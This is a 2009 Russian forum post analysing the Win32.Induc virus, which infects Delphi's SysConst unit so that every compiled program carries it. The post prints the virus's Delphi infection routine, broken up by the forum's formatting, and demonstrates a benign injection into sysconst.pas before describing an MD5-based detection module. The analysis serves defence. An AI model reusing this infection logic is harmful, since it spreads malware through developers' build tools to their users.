ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, сейчас доступен на antichat.xyz.
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Защита от Win32.Induc (Delphi)
  #1  
Старый 20.08.2009, 22:12
flacs
Познающий
Регистрация: 28.01.2009
Сообщений: 90
Провел на форуме:
432613

Репутация: 80
По умолчанию Защита от Win32.Induc (Delphi)

Вступление

Недавно в новостях был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки.

Вирус оказался необычным и мне захотелось исследовать этот тип вируса.
Разбор полетов, первая модификация этого вируса (12 августа 2009)

PHP код:
function x(s:string):string;
var 
  
i:integer;
begin 
  
for i:=1 to length(s) do 
    if 
s[i]=#36 then s[i]:=#39;
  
result:=s;
end;

procedure re(s,d,e:string);
var
  
f1,f2:textfile;
  
h:cardinal;
  
f:STARTUPINFO;
  
p:PROCESS_INFORMATION;
  
b:boolean;
  
t1,t2,t3:FILETIME;
begin
  h
:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if 
h<>DWORD(-1then
  begin
    CloseHandle
(h);
    exit;
  
end;
  {
'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then
    exit;
  assignfile(f2,d+'
pas');
  rewrite(f2);
  if ioresult<>0 then 
  begin 
    closefile(f1); 
    exit; 
  end;

  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('
implementation',s)<>0 then
      break;
  end;

  for h:= 1 to 1 do
    writeln(f2,sc[h]);
  for h:= 1 to 23 do
    writeln(f2,''''+sc[h],'''
,');
  writeln(f2,''''+sc[24]+'''
);');
  for h:= 2 to 24 do
    writeln(f2,x(sc[h]));
  closefile(f1);
  closefile(f2);
  {'
I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
  
fillchar(f,sizeof(f),0);
  
f.cb := sizeof(f);
  
f.dwFlags := STARTF_USESHOWWINDOW;
  
f.wShowWindow := SW_HIDE;
  
:= CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if 
b then
    WaitForSingleObject
(p.hProcess,INFINITE);
  
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
  
DeleteFile(pchar(d+'pas'));
  
:= CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if 
h=DWORD(-1then
    
exit;
  
GetFileTime(h,@t1,@t2,@t3);
  
CloseHandle(h);
  
:= CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if 
h=DWORD(-1then
    
exit;
  
SetFileTime(h,@t1,@t2,@t3);
  
CloseHandle(h);
end;

procedure st;
var  
  
k:HKEY;
  
c:array [1..255of char;
  
i:cardinal;
  
r:string;
  
v:char;
begin
  
for v:='4' to '7' do
    if 

RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY

_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'
RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;   

re(r+'
\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.ex

e" ');
      end;
    RegCloseKey(k);
  end;
end;

begin
  st;
end. 

Код несложный, изучив его вы сможете понять его логику.
Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом.

Попробуем реализовать, подобное
Откроем файл sysconst.pas, после interface
пишем uses windows;
и после строки implementation, вписываем такой код

Код:
begin
	MessageBox(0,'Win32.InducA','virus',0);
end;
Компилируем, ага появилась заветное сообщение.

т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но...
существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код
так, что поняв это я начал писать универсальную защиту от подобного типа вирусов.

Защита

Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия:

1) Создание файла хешей
2) Сверка хешей, во время запуск
а

Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!!
т.е.
anti_induc, sysutils;

Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst)

1) Создание файла хешей
Код:
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true);
В результате выполнения создается файлик по умолчанию (__hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде

имя файла = хеш файла

2) Сверка хешей
Код:
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false);
Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение

Universal Detect Virus.Win32.Induc.A
File: имя файла


Также результаты записываться в лог файл %Delphi%\Lib\log.txt

Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать.


Заключение

Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID.

Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows.

исходные файлы, и эксперименты вы можете скачать по слылке

исходники

(с) flacs 2009

P.S: принимаю любую конструктивную критику.

Последний раз редактировалось flacs; 20.08.2009 в 22:22..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скачать Delphi 7, помощь. _casper_ С/С++, C#, Delphi, .NET, Asm 20 08.12.2009 04:54
Virus.Win32.Induc.a – новый вирус для Delphi ErrorNeo Уязвимости 37 26.08.2009 00:33
Железная защита Dmitriy507 Защита ОС: вирусы, антивирусы, файрволы. 1 18.06.2006 12:21
Защита информации против защиты данных dinar_007 Мировые новости 0 26.02.2006 20:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ